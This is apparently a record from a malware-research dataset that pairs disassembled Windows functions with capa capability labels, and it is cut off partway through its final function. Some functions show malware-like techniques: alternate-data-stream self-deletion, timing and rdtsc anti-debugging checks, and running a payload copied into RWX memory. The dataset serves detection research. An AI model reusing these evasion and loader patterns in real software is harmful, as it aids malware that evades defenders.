joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180001000
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push rbx
sub rsp, 0x470
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x460], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov ecx, 0x12c
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov edx, 0xfffffed4
sub edx, ebx
add edx, eax
movsxd rcx, edx
shr rcx, 0x20
mov eax, ecx
xor eax, edx
sub eax, ecx
cmp eax, 0x64
jg 0x18000124d
lea r8, str.Mutex873652974652109841243
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x180001087
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ebx, 0xc8
nop dword [rax]
mov edx, 0x64
lea ecx, [rdx - 0x62]
call qword [sym.imp.KERNEL32.dll_Beep]
sub rbx, 1
jne 0x180001090
mov r8d, 0x104
lea rdx, [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [0x18001a958]
lea rcx, [rsp + 0x20]
call fcn.180006d00
mov rbx, rax
test rax, rax
je 0x18000124d
xor edx, edx
mov qword [rsp + 0x480], rdi
mov rcx, rax
lea r8d, [rdx + 2]
call fcn.180007114
mov rcx, rbx
call fcn.180006b68
mov rcx, rbx
mov edi, eax
call fcn.180006e2c
xor ebx, ebx
cmp edi, 0xeee0
mov ecx, ebx
mov rdi, qword [rsp + 0x480]
sete cl
test ecx, ecx
je 0x18000124d
call fcn.180001380
call fcn.180001930
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0x104
lea rdx, [rsp + 0x130]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, ebx
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x130]
mov byte [rsp + rcx + 0x240], al
lea rcx, [rcx + 1]
test al, al
jne 0x180001150
mov rcx, rbx
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x130]
mov byte [rsp + rcx + 0x350], al
lea rcx, [rcx + 1]
test al, al
jne 0x180001170
nop word [rax + rax]
movzx eax, byte [rsp + rbx + 0x130]
mov byte [rsp + rbx + 0x20], al
lea rbx, [rbx + 1]
test al, al
jne 0x180001190
mov edx, 0x5c
lea rcx, [rsp + 0x240]
call fcn.180003050
mov edx, 0x5c
lea rcx, [rsp + 0x350]
mov byte [rax], 0
call fcn.180003050
mov edx, 0x5c
lea rcx, [rsp + 0x20]
mov byte [rax], 0
call fcn.180003050
lea rdx, [0x18001a8d0]
lea rcx, [rsp + 0x240]
mov byte [rax], 0
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x18001a8e0]
lea rcx, [rsp + 0x350]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.msvcp120.dll
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rcx, [rsp + 0x240]
call fcn.180002130
lea rcx, [rsp + 0x350]
call fcn.180002130
lea rcx, [rsp + 0x20]
call fcn.180002130
lea rcx, [rsp + 0x130]
call fcn.180002130
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.180002270
add rsp, 0x470
pop rbx
ret
Function at 0x1800012c0
Capabilities:
Check if file exists
Create directory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x140
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rsi, rcx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call fcn.180003d80
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rsi + rdi], 0
jne 0x180001300
xor ebx, ebx
test rdi, rdi
je 0x18000134a
cmp byte [rsi + rbx], 0x5c
jne 0x180001342
mov r8, rbx
lea rcx, [rsp + 0x20]
mov rdx, rsi
call fcn.180007504
lea rcx, [rsp + 0x20]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x180001342
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
inc rbx
cmp rbx, rdi
jb 0x180001310
mov eax, 1
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.180002270
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x180002130
Capabilities:
Self delete using alternate data streams

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000
mov dword [rsp + 0x20], 3
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180002240
xor eax, eax
mov qword [rsp + 0x88], rdi
mov r9d, 0x20
lea rdi, [rsp + 0x48]
mov ecx, 0x18
lea r8, [rsp + 0x48]
rep stosb byte [rdi], al
movabs rax, 0x6c00680053003a
mov dword [rsp + 0x58], 8
lea edx, [r9 - 0x1d]
mov qword [rsp + 0x5c], rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000
mov dword [rsp + 0x20], 3
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180002238
xor eax, eax
lea rdi, [rsp + 0x40]
mov ecx, 1
lea r8, [rsp + 0x40]
rep stosb byte [rdi], al
mov rcx, rbx
mov byte [rsp + 0x40], 1
lea r9d, [rax + 1]
lea edx, [rax + 4]
call qword [sym.imp.KERNEL32.dll_SetFileInformationByHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.180002270
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rsi
ret
Function at 0x18000691c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180012870
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.180008b0c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x18000696b
mov rax, rbp
jmp 0x180006a73
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0xa0ffd0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.180008e9c
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0xa0ffd0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x180006a6f
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180006a6f
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.180008e9c
test rax, rax
js 0x180006a6f
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x180006a6f
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x180006a61
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x180006a61
cmp byte [rcx], 0xd
jne 0x180006a47
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x180006a56
cmp byte [rcx + 1], 0xa
jne 0x180006a56
inc rcx
jmp 0x180006a56
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x1d2d0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x180006a29
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x180006a73
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.180002270
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800073c8
Capabilities:
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov r14, rdx
mov rsi, rcx
xor edx, edx
lea rcx, [rbp - 0x60]
call fcn.18000732c
mov rax, qword [rbp - 0x58]
mov edi, 0xfde9
cmp dword [rax + 0xc], edi
jne 0x180007413
xor ebx, ebx
cmp byte [rbp - 0x48], bl
je 0x180007447
mov rax, qword [rbp - 0x60]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x180007447
call fcn.18000b168
xor ebx, ebx
test eax, eax
jne 0x180007435
cmp byte [rbp - 0x48], bl
je 0x18000742e
mov rax, qword [rbp - 0x60]
and dword [rax + 0x3a8], 0xfffffffd
mov edi, 1
jmp 0x180007447
cmp byte [rbp - 0x48], bl
je 0x180007445
mov rax, qword [rbp - 0x60]
and dword [rax + 0x3a8], 0xfffffffd
mov edi, ebx
mov r9d, edi
mov qword [rbp - 0x30], rbx
lea r8, [rbp + 0x30]
mov qword [rbp - 0x28], rbx
lea rdx, [rbp - 0x30]
mov qword [rbp - 0x20], rbx
mov rcx, rsi
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], rbx
mov byte [rbp - 8], bl
call fcn.1800071b0
mov esi, eax
test eax, eax
je 0x180007483
call fcn.18000a350
or edi, 0xffffffff
mov dword [rax], esi
jmp 0x1800074dc
mov r9d, edi
mov qword [rbp - 0x60], rbx
lea r8, [rbp + 0x30]
mov qword [rbp - 0x58], rbx
lea rdx, [rbp - 0x60]
mov qword [rbp - 0x50], rbx
mov rcx, r14
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], rbx
mov byte [rbp - 0x38], bl
call fcn.1800071b0
mov edi, eax
test eax, eax
je 0x1800074bf
call fcn.18000a350
mov dword [rax], edi
or edi, 0xffffffff
jmp 0x1800074ce
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x20]
call fcn.18000b4c8
mov edi, eax
cmp byte [rbp - 0x38], bl
je 0x1800074dc
mov rcx, qword [rbp - 0x50]
call fcn.18000a830
cmp byte [rbp - 8], bl
je 0x1800074ea
mov rcx, qword [rbp - 0x20]
call fcn.18000a830
lea r11, [rsp + 0x80]
mov eax, edi
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x180009710
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x180a0ffd0]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x18000976e
cmp word [rdx], r12w
jne 0x18000976e
or byte [rax + r8*8 + 0x38], cl
jmp 0x180009774
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x1800098cf
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x1800098aa
lea r9, [rcx + 2]
cmp ax, r13w
je 0x1800097ad
mov rcx, r9
jmp 0x1800097d0
cmp r9, rdx
jae 0x1800097e7
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x180009791
jmp 0x1800098cf
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800098a4
cmp dword [rsp + 0x80], edi
je 0x1800098a4
mov rdx, r14
lea r11, [0x180a0ffd0]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x18000987d
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x180009850
mov word [rbx], r12w
jmp 0x1800098cb
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x180009859
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x1800098cb
cmp word [rsp + 0x70], r12w
jne 0x18000988a
cmp rbx, rsi
je 0x18000984a
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.180008ea4
cmp word [rsp + 0x70], r12w
je 0x1800098cf
mov word [rbx], r13w
jmp 0x1800098cb
lea r11, [0x180a0ffd0]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x1800098c7
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x1800098cf
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x18000cf78
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18000cfa8
xor eax, eax
jmp 0x18000d06b
mov rbp, rbx
cmp word [rax], si
je 0x18000cfcd
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18000cfb4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18000cfb0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.18000cec8
movsxd r14, eax
test eax, eax
jne 0x18000d00b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18000cfa1
mov rcx, r14
call fcn.18000ae94
mov rdi, rax
test rax, rax
jne 0x18000d024
xor ecx, ecx
call fcn.18000a830
jmp 0x18000d000
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.18000cec8
test eax, eax
jne 0x18000d055
mov rcx, rdi
call fcn.18000a830
jmp 0x18000d05f
xor ecx, ecx
call fcn.18000a830
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1800113e4
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.180008ea4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.180008ea4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x180011534
cmp rax, 0xffffffffffffffff
je 0x180011534
xor edi, edi
test rbp, rbp
jle 0x1800114df
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.18000b768
mov rbx, rax
test rax, rax
jne 0x18001146c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1800114d5
mov edx, 0x8000
mov ecx, r14d
call fcn.18001126c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.18000fe00
cmp eax, 0xffffffff
je 0x1800114b5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18001147c
mov edx, r15d
mov ecx, r14d
call fcn.18001126c
jmp 0x1800114d5
cmp byte [rsi + 0x38], dil
je 0x1800114cc
cmp dword [rsi + 0x34], 5
jne 0x1800114cc
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1800114d5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.18000a830
jmp 0x180011548
jns 0x180011548
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.180008ea4
cmp rax, 0xffffffffffffffff
jne 0x180011500
cmp byte [rsi + 0x30], dil
je 0x180011548
mov edi, dword [rsi + 0x2c]
jmp 0x180011548
mov ecx, r14d
call fcn.18000dcec
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x180011548
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x180011548
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x180011541
mov eax, dword [rsi + 0x2c]
jmp 0x180011546
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.180008ea4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x180012800
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180012828
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180012828
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001089
Capabilities:
Execute anti-debugging instructions

Disassembly:
xor eax, eax
cpuid
mov eax, 1
cpuid
movabs r9, 0xb2d05e00
cpuid
rdtsc
shl rdx, 0x20
or rax, rdx
mov rcx, rax
fldpi
frndint
rdtsc
shl rdx, 0x20
or rax, rdx
sub rax, rcx
cmp rax, r9
jb 0x1400010ac
push rbp
mov rbp, rsp
sub rsp, 8
mov r10, 0xa
mov rcx, 0x12345678
dec rcx
xor r9, r9
mov rax, rcx
jne 0x1400010d7
xor rax, rax
mov rax, rbx
add rax, rdx
nop
nop
nop
dec r10
xor r11, r11
jne 0x1400010d0
xor rax, rax
mov rax, 0xa
dec rax
nop
nop
add rsp, 8
pop rbp
ret

Function at 0x140002bf4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0xa0
mov rcx, 0
mov rdx, 0xa690
mov r8, 0x1000
lea r9, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x140002c45
mov rbx, rax
call 0x140002c28
nop
pop rsi
mov r9, rax
add rsi, 0x79ecf
mov rcx, 0xa690
mov r8, rcx
lea rax, [rsi]
mov dl, byte [rax]
mov byte [rbx], dl
add rsi, 1
add rbx, 1
add rax, 1
dec r8
jne 0x140002c41
call r9
mov ecx, 1
ret
Function at 0x140003de0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
sub rsp, 0x20
lea r8, [rsp + 0x40]
mov rbx, rcx
call fcn.1400036d0
mov r9, qword [rbx]
test r9, r9
je 0x140003e1e
mov edx, 1
lea rcx, [0x140056b68]
lea r8d, [rdx + 1]
call fcn.1400379e4
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
add rsp, 0x20
pop rbx
ret
Function at 0x14000d2c0
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx + 8]
mov rbx, rcx
movsxd rdx, dword [rax + 4]
mov rax, qword [rdx + rcx + 0x10]
test rax, rax
je 0x14000d2ec
cmp dword [rax + 4], 0
je 0x14000d2ec
mov eax, 0x89
add rsp, 0x20
pop rbx
ret
cmp dword [rcx + 0x14], 0
jne 0x14000d378
movzx eax, byte [rcx + 0x20]
lea rcx, [rsp + 0x30]
mov word [rsp + 0x31], 0x5c3a
mov byte [rsp + 0x30], al
mov byte [rsp + 0x33], 0
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
sub eax, 2
je 0x14000d370
dec eax
je 0x14000d362
dec eax
je 0x14000d354
dec eax
je 0x14000d346
dec eax
je 0x14000d338
mov eax, 0x89
mov dword [rbx + 0x14], eax
add rsp, 0x20
pop rbx
ret
mov eax, 0x88
mov dword [rbx + 0x14], eax
add rsp, 0x20
pop rbx
ret
mov eax, 0x85
mov dword [rbx + 0x14], eax
add rsp, 0x20
pop rbx
ret
mov eax, 0x84
mov dword [rbx + 0x14], eax
add rsp, 0x20
pop rbx
ret
mov eax, 0x83
mov dword [rbx + 0x14], eax
add rsp, 0x20
pop rbx
ret
mov eax, 0x82
mov dword [rbx + 0x14], eax
mov eax, dword [rbx + 0x14]
add rsp, 0x20
pop rbx
ret

Function at 0x14000d520
Capabilities:
Get common file path

Disassembly:
push rdi
sub rsp, 0x290
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rsp + 0x2a8], rbx
mov rax, qword [0x140079258]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov rbx, rcx
xor edi, edi
mov dword [rsp + 0x20], edi
lea rdx, [rsp + 0x70]
mov ecx, 0x105
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
dec eax
cmp eax, 0x103
ja 0x14000d614
mov qword [rsp + 0x48], 7
mov qword [rsp + 0x40], rdi
mov word [rsp + 0x30], di
mov qword [rsp + 0x68], 7
mov qword [rsp + 0x60], rdi
mov word [rsp + 0x50], di
xor r9d, r9d
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000b230
nop
cmp qword [rsp + 0x68], 8
jb 0x14000d5c2
mov rcx, qword [rsp + 0x50]
call fcn.1400376e4
mov qword [rbx + 0x18], 7
mov qword [rbx + 0x10], rdi
mov word [rbx], di
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jae 0x14000d5fd
mov r8, qword [rsp + 0x40]
inc r8
je 0x14000d605
add r8, r8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140037ce0
mov rdx, qword [rsp + 0x48]
jmp 0x14000d605
mov rcx, qword [rsp + 0x30]
mov qword [rbx], rcx
mov rcx, qword [rsp + 0x40]
mov qword [rbx + 0x10], rcx
mov qword [rbx + 0x18], rdx
jmp 0x14000d623
mov qword [rbx + 0x18], 7
mov qword [rbx + 0x10], rdi
mov word [rbx], di
mov rax, rbx
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.140038d80
mov rbx, qword [rsp + 0x2a8]
add rsp, 0x290
pop rdi
ret
Function at 0x14000e170
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor edi, edi
mov dword [rsp + 0x38], edi
lea ecx, [rdi + 0x38]
call fcn.14003763c
mov rbx, rax
test rax, rax
je 0x14000e20f
lea rax, [0x140059048]
mov qword [rbx + 8], rax
lea rax, vtable.file_object.0
mov qword [rbx + 0x28], rax
mov qword [rbx + 0x30], rdi
lea rax, vtable.i_dir::iterator.0
mov qword [rbx], rax
mov rax, qword [rbx + 8]
movsxd rcx, dword [rax + 4]
lea rax, vtable.i_dir::iterator.1.0
mov qword [rcx + rbx + 8], rax
lea rax, vtable.win32_dir::letter_iterator.0
mov qword [rbx], rax
mov rax, qword [rbx + 8]
movsxd rcx, dword [rax + 4]
lea rax, vtable.win32_dir::letter_iterator.1.0
mov qword [rcx + rbx + 8], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rbx + 0x14], edi
mov dword [rbx + 0x10], eax
mov qword [rbx + 0x18], rdi
mov dword [rbx + 0x20], 0x3a0040
mov word [rbx + 0x24], di
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rax, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140012180
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0x90
mov qword [rbp - 0x29], 0xfffffffffffffffe
mov qword [rsp + 0xd8], rbx
mov r15, r9
mov rdi, r8
mov rsi, rdx
mov r13, rcx
xor r12d, r12d
mov qword [r9], r12
mov rax, qword [rcx + 8]
movsxd r10, dword [rax + 4]
mov rax, qword [r10 + rcx + 0x10]
test rax, rax
je 0x1400121da
cmp dword [rax + 4], r12d
jne 0x140012367
lea rdx, [0x140059918]
lea rax, [rbp + 0x77]
mov ecx, 0x80000000
cmp r8, rcx
cmova rax, rdx
mov ebx, dword [rax]
nop dword [rax]
nop word [rax + rax]
mov eax, ebx
mov qword [rbp - 0x39], rax
lea rcx, [rbp - 0x39]
lea rdx, [rbp + 0x77]
cmp rax, rdi
cmovae rcx, rdx
mov ebx, dword [rcx]
mov dword [rbp + 0x67], r12d
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x67]
mov r8d, ebx
mov rdx, rsi
mov rcx, qword [r13 + 0x20]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r14d, eax
test eax, eax
jne 0x140012262
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x21
jne 0x140012262
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x67]
mov r8d, ebx
mov rdx, rsi
mov rcx, qword [r13 + 0x20]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov r14d, eax
test r14d, r14d
jne 0x14001229d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x5aa
jne 0x1400122c3
cmp ebx, 0x1000
jbe 0x1400122c3
lea ecx, [rbx + 1]
shr ecx, 1
mov dword [rbp + 0x7f], ecx
lea rax, [rbp + 0x7f]
cmp ecx, 0x1000
lea rcx, [0x140059920]
cmovb rax, rcx
mov ebx, dword [rax]
jmp 0x1400122b5
mov ecx, dword [rbp + 0x67]
add qword [r15], rcx
cmp ecx, ebx
jne 0x140012367
add rsi, rbx
sub rdi, rbx
mov qword [rbp + 0x77], rdi
test rdi, rdi
je 0x140012367
jmp 0x140012200
movabs rax, 0x7ceb2cdc9fb12043
mov qword [rbp - 0x21], rax
lea rax, str.c:jaworkspacecommon_ati_cdp4443product_filewindowswin32_file.cpp
mov qword [rbp - 0x19], rax
lea rax, str.win32_file::Read
mov qword [rbp - 0x11], rax
mov dword [rbp - 9], 0x9a
movups xmm0, xmmword [rbp - 0x21]
movaps xmmword [rbp + 7], xmm0
movups xmm1, xmmword [rbp - 0x11]
movaps xmmword [rbp + 0x17], xmm1
lea rcx, [0x1400569a4]
call fcn.140005930
mov qword [rsp + 0x20], rax
mov r9d, 0x40001
lea r8, [0x140059b58]
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x31]
call fcn.14000c540
nop
mov rcx, qword [r13 + 8]
movsxd rdx, dword [rcx + 4]
lea rcx, [r13 + 0x10]
add rcx, rdx
mov rdx, rax
call fcn.1400064c0
nop
mov rcx, qword [rbp - 0x31]
test rcx, rcx
je 0x140012367
nop dword [rax + rax]
lock dec dword [rcx]
jne 0x140012367
mov rbx, qword [rcx + 8]
mov rax, qword [rcx + 0x10]
call qword [rax]
mov rcx, rbx
test rbx, rbx
jne 0x140012350
